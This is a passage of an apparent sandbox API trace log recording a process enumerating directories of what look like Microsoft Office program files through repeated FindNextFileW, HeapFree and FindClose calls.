lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0251.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0251.315] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0251.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0251.318] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0251.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0251.318] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0251.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.319] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0251.319] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0251.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0251.320] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0251.320] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0251.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0251.320] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0251.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0251.328] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0251.328] FindClose (in: hFindFile=0x6ebc70 | out: hFindFile=0x6ebc70) returned 1 [0251.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0251.328] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0251.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.329] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0251.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.329] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0251.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.329] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0 [0251.330] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0251.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.330] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0251.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.334] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0251.334] FindClose (in: hFindFile=0x6ebc70 | out: hFindFile=0x6ebc70) returned 1 [0251.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.334] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0251.334] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0251.335] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0251.335] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0251.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.353] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0251.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0251.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.397] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0251.397] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0251.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0251.399] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0251.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.408] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0251.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.446] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0251.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0251.449] FindClose (in: hFindFile=0x6ebc70 | out: hFindFile=0x6ebc70) returned 1 [0251.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0251.449] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0251.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0251.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0251.521] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0251.521] FindClose (in: hFindFile=0x6eb630 | out: hFindFile=0x6eb630) returned 1 [0251.521] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0251.521] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0251.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.536] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0251.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.539] FindNextFileW (in: hFindFile=0x6eb630, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0251.539] FindClose (in: hFindFile=0x6eb630 | out: hFindFile=0x6eb630) returned 1 [0251.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.539] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0251.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.942] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0251.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.987] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0251.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.995] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0252.006] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.006] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0252.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.008] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0252.009] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0252.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0252.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, 